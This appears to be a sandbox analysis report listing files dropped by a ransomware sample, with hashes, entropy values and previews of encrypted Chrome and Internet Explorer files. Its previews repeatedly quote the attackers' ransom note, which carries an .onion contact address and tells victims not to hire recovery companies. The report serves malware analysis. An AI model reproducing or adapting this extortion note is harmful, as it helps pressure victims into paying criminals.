SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\Triedit\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\VGX\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\ink\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Google\Chrome\Application\chrome.VisualElementsManifest.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.170781659228469
Encrypted:	false
SSDEEP:	12:akuDmdsskuT3KQIXTjzwx1azUFYOaqVUyZYl6izk2/fpEc0/cS:Emd3KlDjS1aXqe0il/6cjS
MD5:	2FD347D304DC4A8547A91486B10FD330
SHA1:	9015DE4DBA18C0484E10A5E6CB9BCC7790D507D9
SHA-256:	A4EA87D6047081FA575E4F78089B5BD94767734DD0EB1FAEB9189C7AE9C417ED
SHA-512:	2328585F2A8B3F0BBC6074FCE9AD30A38B6059BA39067F54108966FC096BF6FB1CF101194E21D8B234FB5F4D9BEDB1C61228D6A18673B07A3381CF90CCF03418
Malicious:	false
Preview:	....+'.L.W.w..8.&....P\J.! @x=..A...h....W.....2..~)...EA...2..4...hMn...W.l....-...Jlg.ut.b2..Y...6........_.......C.A..(Uv].Egn.\._.\|.Ue.y...^.P.de.l"....j.......n...H$.h....6..p..Egn...O.x..b.0...^.P.de.l"....j.......n...H$.w.......8....`C.....9.3$.)...AUY.:3_.5....n...I....B...A....A......;....(`.C.....@u.h...\... :T.w.....<..r.....J..N!...Q.....j'#5F6368'/>..</Application>....L.....<y...@V..T....4.l.~.X....g...t%....E...H.:.F.s!.'....*.:q...6H\y...l^...f.x&...g<^\|......%._.E\....,'...3...v.K......Zq_..3b!J..jj..~.._..Z.v.A3...>0.y.U-~D.3 ..K...C;'N.I!.d..4...^..M..;;..............................................................................................29yp10v5m8k.

C:\Program Files\Google\Chrome\Application\chrome.VisualElementsManifest.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.170781659228469
Encrypted:	false
SSDEEP:	12:akuDmdsskuT3KQIXTjzwx1azUFYOaqVUyZYl6izk2/fpEc0/cS:Emd3KlDjS1aXqe0il/6cjS
MD5:	2FD347D304DC4A8547A91486B10FD330
SHA1:	9015DE4DBA18C0484E10A5E6CB9BCC7790D507D9
SHA-256:	A4EA87D6047081FA575E4F78089B5BD94767734DD0EB1FAEB9189C7AE9C417ED
SHA-512:	2328585F2A8B3F0BBC6074FCE9AD30A38B6059BA39067F54108966FC096BF6FB1CF101194E21D8B234FB5F4D9BEDB1C61228D6A18673B07A3381CF90CCF03418
Malicious:	false
Preview:	....+'.L.W.w..8.&....P\J.! @x=..A...h....W.....2..~)...EA...2..4...hMn...W.l....-...Jlg.ut.b2..Y...6........_.......C.A..(Uv].Egn.\._.\|.Ue.y...^.P.de.l"....j.......n...H$.h....6..p..Egn...O.x..b.0...^.P.de.l"....j.......n...H$.w.......8....`C.....9.3$.)...AUY.:3_.5....n...I....B...A....A......;....(`.C.....@u.h...\... :T.w.....<..r.....J..N!...Q.....j'#5F6368'/>..</Application>....L.....<y...@V..T....4.l.~.X....g...t%....E...H.:.F.s!.'....*.:q...6H\y...l^...f.x&...g<^\|......%._.E\....,'...3...v.K......Zq_..3b!J..jj..~.._..Z.v.A3...>0.y.U-~D.3 ..K...C;'N.I!.d..4...^..M..;;..............................................................................................29yp10v5m8k.

C:\Program Files\Google\Chrome\Application\chrome.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3242586
Entropy (8bit):	7.258875832117986
Encrypted:	false
SSDEEP:	49152:r3awzqrWeK2teVotbgJBaXaLDX/H1iwlF3UR8Xck5GzObGJ8/GcQD2j9:Law8HViBatuFkROc/gqMj9
MD5:	C0BCD856B2323A18DBE4F462BC2C79FF
SHA1:	999679802CEDA7F1F1368171124C01BFDD3F529A
SHA-256:	B9D017615B0251CD243BA53509E53B57295FF205F983E47C1E98D1FC1D0EA861
SHA-512:	BDA498D2C45AA99B27D85662F1DB4AEDF261B1B158120983A116C40BBBC21A43DE3013B3C5FCA5A1C574091204E7E72C432A60F952D8E63A2F6328F84262EDBE
Malicious:	false
Preview:	..#.Q....n.n.......^..T..e.P=...@.7.i(...!..c..T .-...?..........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......($....................@....................B..#.Q.....n.j..o+...^wF...e.P=...@.7.i(...!..c..T .-....?....(.....^.(.d....@-..C....+......P1. )....2.X%....(.8.....................(.(...PR$.@...........@.(.x.....(.`...................i.[.Q..X.n.~.......Z.....e.P=...@...iH.....@..f.....-...................@..@.data...8.....).......).............@....pdata........+....................@..@.00cfg..0.....,.......+.........G..#.Q.."....n........;..#.e......@.7.i(...!....e.8Nv.............+..................tls....A.....-.......+.............@...CPADinfo8.....-.......+.............@..._RDATA..\.... -.......+.G..#.Q....n.n.E..h.=H...e.`....@.7mB(...!..c..T s.`...?..C...@-..D....+.............@..@.reloc..X%....2..&...1.............@..B........................................................G..#.Q....n.n.......^.....e.P=...@.7.i(

C:\Program Files\Google\Chrome\Application\chrome.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3242586
Entropy (8bit):	7.258875832117986
Encrypted:	false
SSDEEP:	49152:r3awzqrWeK2teVotbgJBaXaLDX/H1iwlF3UR8Xck5GzObGJ8/GcQD2j9:Law8HViBatuFkROc/gqMj9
MD5:	C0BCD856B2323A18DBE4F462BC2C79FF
SHA1:	999679802CEDA7F1F1368171124C01BFDD3F529A
SHA-256:	B9D017615B0251CD243BA53509E53B57295FF205F983E47C1E98D1FC1D0EA861
SHA-512:	BDA498D2C45AA99B27D85662F1DB4AEDF261B1B158120983A116C40BBBC21A43DE3013B3C5FCA5A1C574091204E7E72C432A60F952D8E63A2F6328F84262EDBE
Malicious:	false
Preview:	..#.Q....n.n.......^..T..e.P=...@.7.i(...!..c..T .-...?..........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......($....................@....................B..#.Q.....n.j..o+...^wF...e.P=...@.7.i(...!..c..T .-....?....(.....^.(.d....@-..C....+......P1. )....2.X%....(.8.....................(.(...PR$.@...........@.(.x.....(.`...................i.[.Q..X.n.~.......Z.....e.P=...@...iH.....@..f.....-...................@..@.data...8.....).......).............@....pdata........+....................@..@.00cfg..0.....,.......+.........G..#.Q.."....n........;..#.e......@.7.i(...!....e.8Nv.............+..................tls....A.....-.......+.............@...CPADinfo8.....-.......+.............@..._RDATA..\.... -.......+.G..#.Q....n.n.E..h.=H...e.`....@.7mB(...!..c..T s.`...?..C...@-..D....+.............@..@.reloc..X%....2..&...1.............@..B........................................................G..#.Q....n.n.......^.....e.P=...@.7.i(

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1210458
Entropy (8bit):	7.199971385745699
Encrypted:	false
SSDEEP:	24576:jFzCG+1QDAml9Br0KeaoA5tVFVZgBVgr2WGtJ:jJX+G9BwIoKbVZgBr
MD5:	90282292388A1663C0D4AB1498151622
SHA1:	92D43433D8411928AD1D5656C75EE68572671DA3
SHA-256:	740DF80B0AB683831B40E9CB8DEF6F24EAAA4E5D1B8553E9FECF698D925C7290
SHA-512:	FA8C8A1284316BDE97CB2C07FF0D9FA55C9C724FA18CA4FEBCEF6F1289B648759A6954BB220FC54A796250B0938A0BA3D405C62667E123214940485EA6B88A9C
Malicious:	false
Preview:	....w....pY...H%.&..7..0...p!..".a(Nj..$7q9...f./..`}T..{.9..........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@.........................w...@cY...VN..$.... ...p!..".a(Nj..47q9...v./..`}T..{.9..X...U...............x....p......N.. )......................................(...`2..@...............X...............................sw....~Y...H!..&..7..0...p!..".A(N...@V.X...../.<n}Tz.{.1..............@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................Gw..9..?....X..&..7.#0..xa!..".a(Nj..$719....[ep.....{.y.......&...................tls.........P.......(..............@..._RDATA..\....`.......*..............@..@malloc_h.....p.......,.......w....pY.yfW..E..7..0...c!..".a.\j..$7q9...f./U.`=zp...Z...............8..............@..B.....................................................................................................w....pY...H%.&..7..0...p!..".a(Nj

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1210458
Entropy (8bit):	7.199971385745699
Encrypted:	false
SSDEEP:	24576:jFzCG+1QDAml9Br0KeaoA5tVFVZgBVgr2WGtJ:jJX+G9BwIoKbVZgBr
MD5:	90282292388A1663C0D4AB1498151622
SHA1:	92D43433D8411928AD1D5656C75EE68572671DA3
SHA-256:	740DF80B0AB683831B40E9CB8DEF6F24EAAA4E5D1B8553E9FECF698D925C7290
SHA-512:	FA8C8A1284316BDE97CB2C07FF0D9FA55C9C724FA18CA4FEBCEF6F1289B648759A6954BB220FC54A796250B0938A0BA3D405C62667E123214940485EA6B88A9C
Malicious:	false
Preview:	....w....pY...H%.&..7..0...p!..".a(Nj..$7q9...f./..`}T..{.9..........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@.........................w...@cY...VN..$.... ...p!..".a(Nj..47q9...v./..`}T..{.9..X...U...............x....p......N.. )......................................(...`2..@...............X...............................sw....~Y...H!..&..7..0...p!..".A(N...@V.X...../.<n}Tz.{.1..............@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................Gw..9..?....X..&..7.#0..xa!..".a(Nj..$719....[ep.....{.y.......&...................tls.........P.......(..............@..._RDATA..\....`.......*..............@..@malloc_h.....p.......,.......w....pY.yfW..E..7..0...c!..".a.\j..$7q9...f./U.`=zp...Z...............8..............@..B.....................................................................................................w....pY...H%.&..7..0...p!..".a(Nj

C:\Program Files\Google\Chrome\Application\initial_preferences

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	547300
Entropy (8bit):	7.24193700110935
Encrypted:	false
SSDEEP:	12288:l144wQiRAQTlkeqVRQeIFrDH1hjSf16303PyG25AdI9SBB1DXCa:lpwQiZTmeqVi7FrT1kwQPCqN
MD5:	435E1F507A3ED487159F2519D01CDB28
SHA1:	2FBB2056E398865E0417D90236555C49F02A0950
SHA-256:	4516597E1D5F1E2BE6C757F1E1963762036382D5F2F02F586ACC04C8A5A06AA8
SHA-512:	E79F137BE1C4EE95228C4FE243627DD23C4B21429936C147184BDF20BB25BEE5D68CF26886EB40329A1F9F90A48B50B556013B2257EA1FA8D8072605A6E1D02E
Malicious:	false
Preview:	akl. 7f.&.&.B.'d..#.L.....m.V.3.r..<.F..z..r.........h......;XCwfSXarZMtS6zYqWfJItlrd1Zfp9i2ei0aati6T7pGsJCStqq4z3eWpruqtqp7RhMCTGDbhEshCSIAQksDCgp1AyAPL8uMO8bLcsj+SACF5+MJyv4QlsPt9FpKF8H3q....s-H.#.(.I.$(.....O...&.}....)......A..N..G.....KU#....8Q]Vx7ualp+eGl1c7\/KXFuc1z3eXu3Nxjjx2\/fE2ZG1SrT1642H2M\/QkG3De33Be6sAkFCeqXoCQLK4qwBfUa0zgHTl41YDtCoG2YgqjAdrFQyErigUigRhGwC5pq6pr..V.0...!.i..O]..e.......p...k.q..MlW.B..Y..K.....Z....l{WfQKxWfbJpc2yT6W5n93lZbnK+3L8twy4d+7akjZUJcGUNXVBGJhDHV7ja0zjNNh9TrUSkC4KQ7XTy0rifRHSjUfAkSVN70DpitqmSmTHxPtyEcqPgqO28tpatDZH126..Z q...>.D.Wk....h....Rj..,.y.+...$2....#`..R....V......bLqrnOzLr5xH2YlaLX86R5S2QhTwuzPg3hWhC5fVNW1O1Ibmak82WrIJa0xjKVSbfA7safW0zZbQHyjQalNQNdnJNUExoFXTVCTCAlQJbAG6MmGBSG2Ort2cZXfWZ62yV+..F#Q.6.j.{...D..:..X...$=#....c. ..V!l..k.:i......1C.....`;a7NaZxCtxhmyfLi4fihC1RuwNaomyc6E5wxyJcE4aKmR1rnAE723MdU95AFZsdS9A9B457TS1SzILJxcEsgft9jS4Wh4vBaXLsrmLRanmVeq2UL0xnZsZmmJnMzPjMnT...d'[.=.<.Y.W5..*.M..'$^..-.x.w...v

C:\Program Files\Google\Chrome\Application\initial_preferences.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	547300
Entropy (8bit):	7.24193700110935
Encrypted:	false
SSDEEP:	12288:l144wQiRAQTlkeqVRQeIFrDH1hjSf16303PyG25AdI9SBB1DXCa:lpwQiZTmeqVi7FrT1kwQPCqN
MD5:	435E1F507A3ED487159F2519D01CDB28
SHA1:	2FBB2056E398865E0417D90236555C49F02A0950
SHA-256:	4516597E1D5F1E2BE6C757F1E1963762036382D5F2F02F586ACC04C8A5A06AA8
SHA-512:	E79F137BE1C4EE95228C4FE243627DD23C4B21429936C147184BDF20BB25BEE5D68CF26886EB40329A1F9F90A48B50B556013B2257EA1FA8D8072605A6E1D02E
Malicious:	false
Preview:	akl. 7f.&.&.B.'d..#.L.....m.V.3.r..<.F..z..r.........h......;XCwfSXarZMtS6zYqWfJItlrd1Zfp9i2ei0aati6T7pGsJCStqq4z3eWpruqtqp7RhMCTGDbhEshCSIAQksDCgp1AyAPL8uMO8bLcsj+SACF5+MJyv4QlsPt9FpKF8H3q....s-H.#.(.I.$(.....O...&.}....)......A..N..G.....KU#....8Q]Vx7ualp+eGl1c7\/KXFuc1z3eXu3Nxjjx2\/fE2ZG1SrT1642H2M\/QkG3De33Be6sAkFCeqXoCQLK4qwBfUa0zgHTl41YDtCoG2YgqjAdrFQyErigUigRhGwC5pq6pr..V.0...!.i..O]..e.......p...k.q..MlW.B..Y..K.....Z....l{WfQKxWfbJpc2yT6W5n93lZbnK+3L8twy4d+7akjZUJcGUNXVBGJhDHV7ja0zjNNh9TrUSkC4KQ7XTy0rifRHSjUfAkSVN70DpitqmSmTHxPtyEcqPgqO28tpatDZH126..Z q...>.D.Wk....h....Rj..,.y.+...$2....#`..R....V......bLqrnOzLr5xH2YlaLX86R5S2QhTwuzPg3hWhC5fVNW1O1Ibmak82WrIJa0xjKVSbfA7safW0zZbQHyjQalNQNdnJNUExoFXTVCTCAlQJbAG6MmGBSG2Ort2cZXfWZ62yV+..F#Q.6.j.{...D..:..X...$=#....c. ..V!l..k.:i......1C.....`;a7NaZxCtxhmyfLi4fihC1RuwNaomyc6E5wxyJcE4aKmR1rnAE723MdU95AFZsdS9A9B457TS1SzILJxcEsgft9jS4Wh4vBaXLsrmLRanmVeq2UL0xnZsZmmJnMzPjMnT...d'[.=.<.Y.W5..*.M..'$^..-.x.w...v

C:\Program Files\Google\Chrome\Application\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Google\Chrome\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Google\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Internet Explorer\SIGNUP\install.ins

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	766
Entropy (8bit):	6.956741995970738
Encrypted:	false
SSDEEP:	12:U4dptw2cQvC/F8Q3SDp8TQKxkPJvS8ZpE28PZidzVy4BS:nCfd86opOQKxGSWpB8Pk8mS
MD5:	614D455B6F365644A13E70F68978F31D
SHA1:	CA3BE5C3CDDCB24951104BDF7A1C910D835A6D3C
SHA-256:	00E419A449A6E2C3D90CA2F48A578BA98DCF2261417482C3C4DCF96A5A317334
SHA-512:	A34B700B75821EB3DF885AA0E545E3364746F4EB849F4DD25B0FF555430D15EA92B35A898D326784AC3DE0BBF735342A90637E7778243E4DC6D462554B850568
Malicious:	false
Preview:	.....#}7.v......]".e...Km?...f.%.O...>....q.x.k..=$...C..~.2...#s7.v........t".e...K.?..f.%.O...;....q.x.q..=9.....F~W2....#27.v.........".e...KT?...f.%.O...b...q.x..2..=g.Q...C~W2....#.7.v........m".e..K{?.f.%.O.......q.x.n..=4...\.J~W2...#Y7.v........c".e...K"?...f.%.O..U....q.x.d..=$.....E~k2....#U7.v........1".e..KG?..f.%.O..r...q.x../..=......Z~V2....#,7.v........B".e..K.?...f.%.O..R....q.x.n..=7.....F~.......;../._Z..2F.w..I.i0.3.p.R...\.%..Pc.X.7..I0.3>......D..Z=!R..go.P......#........U.....~.b.t....@7...W[.3.....`O))5...h...D......Y..Uc.rB............R$.J...]..f.....".T..L.m~..L..........zJ+..;...............................................................................................29yp10v5m8k.

C:\Program Files\Internet Explorer\SIGNUP\install.ins.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	766
Entropy (8bit):	6.956741995970738
Encrypted:	false
SSDEEP:	12:U4dptw2cQvC/F8Q3SDp8TQKxkPJvS8ZpE28PZidzVy4BS:nCfd86opOQKxGSWpB8Pk8mS
MD5:	614D455B6F365644A13E70F68978F31D
SHA1:	CA3BE5C3CDDCB24951104BDF7A1C910D835A6D3C
SHA-256:	00E419A449A6E2C3D90CA2F48A578BA98DCF2261417482C3C4DCF96A5A317334
SHA-512:	A34B700B75821EB3DF885AA0E545E3364746F4EB849F4DD25B0FF555430D15EA92B35A898D326784AC3DE0BBF735342A90637E7778243E4DC6D462554B850568
Malicious:	false
Preview:	.....#}7.v......]".e...Km?...f.%.O...>....q.x.k..=$...C..~.2...#s7.v........t".e...K.?..f.%.O...;....q.x.q..=9.....F~W2....#27.v.........".e...KT?...f.%.O...b...q.x..2..=g.Q...C~W2....#.7.v........m".e..K{?.f.%.O.......q.x.n..=4...\.J~W2...#Y7.v........c".e...K"?...f.%.O..U....q.x.d..=$.....E~k2....#U7.v........1".e..KG?..f.%.O..r...q.x../..=......Z~V2....#,7.v........B".e..K.?...f.%.O..R....q.x.n..=7.....F~.......;../._Z..2F.w..I.i0.3.p.R...\.%..Pc.X.7..I0.3>......D..Z=!R..go.P......#........U.....~.b.t....@7...W[.3.....`O))5...h...D......Y..Uc.rB............R$.J...]..f.....".T..L.m~..L..........zJ+..;...............................................................................................29yp10v5m8k.

C:\Program Files\Internet Explorer\SIGNUP\instructions_read_me.txt

Download File

